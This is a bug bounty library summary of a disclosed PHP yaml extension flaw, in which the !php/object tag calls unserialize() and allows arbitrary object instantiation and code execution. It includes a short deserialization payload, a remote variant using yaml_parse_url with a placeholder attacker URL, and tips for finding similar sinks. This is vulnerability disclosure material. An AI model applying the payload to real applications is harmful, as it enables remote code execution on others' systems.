# PHP yaml_parse/yaml_parse_file/yaml_parse_url Unsafe Deserialization

PHP yaml_parse* functions invoke unserialize() via the undocumented !php/object tag, enabling arbitrary object instantiation and code execution through destructors on attacker-controlled YAML.

- Payout: $500
- Severity: high
- Program: Internet Bug Bounty
- Credited: johnleitch
- Disclosed: 2015-05-18
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/73257
- Library page: https://bugbountylibrary.com/r/h1%3A73257
- Tags: domain:oss impact:rce kind:bounty platform:hackerone sev:high tech:php technique:source-review vuln:deserialization vuln:rce

**Target:** PHP yaml extension (yaml_parse, yaml_parse_file, yaml_parse_url)
**Root cause:** The YAML parser's !php/object tag delegates to unserialize(), so attacker-controlled YAML can instantiate arbitrary PHP classes, contradicting documentation that yaml_parse* is safe.
**Steps:**
1. Define a class with a __destruct() method that executes code
2. Pass YAML `x: !php/object O:1:"A":0:{}` to `yaml_parse()`
3. Observe the destructor invoked, confirming arbitrary object instantiation
4. For remote vector, host the YAML at a URL and call `yaml_parse_url('http://attacker/yaml.txt')`
**How found:** Noticed documentation claims yaml_parse* is safe unlike unserialize(), then found the undocumented !php/object extension type that internally calls unserialize(), defeating that assumption.
**Exploitation:** Attacker supplies YAML containing `!php/object O:1:"A":0:{}` to any yaml_parse* sink (including remote via yaml_parse_url); the parser calls unserialize() on the payload, instantiating attacker-chosen classes whose destructors/magic methods run arbitrary code.
**Insight:** When a parser claims to be safe because it only emits arrays/scalars, grep for undocumented extension tags (like !php/object) that bridge to native deserialization; remote-fetch variants (yaml_parse_url) turn a local sink into an SSRF-to-RCE chain.
